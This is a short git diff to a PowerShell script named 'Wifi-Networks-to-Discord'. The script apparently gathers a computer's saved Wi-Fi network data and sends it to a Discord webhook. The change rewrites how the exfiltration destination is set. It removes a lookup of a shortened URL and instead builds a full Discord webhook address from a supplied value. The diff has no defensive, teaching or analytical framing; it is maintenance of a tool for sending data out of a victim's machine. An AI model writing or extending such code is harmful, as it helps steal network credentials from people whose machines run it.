diff --git a/Wifi-Networks-to-Discord/main.ps1 b/Wifi-Networks-to-Discord/main.ps1 index 215e554..330f7b2 100644 --- a/Wifi-Networks-to-Discord/main.ps1 +++ b/Wifi-Networks-to-Discord/main.ps1 @@ -1,6 +1,7 @@ $whuri = "$dc" -# shortened URL Detection -if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} +if ($whuri.Length -lt 120){ + $whuri = ("https://discord.com/api/webhooks/" + "$dc") +} $outfile="" $a=0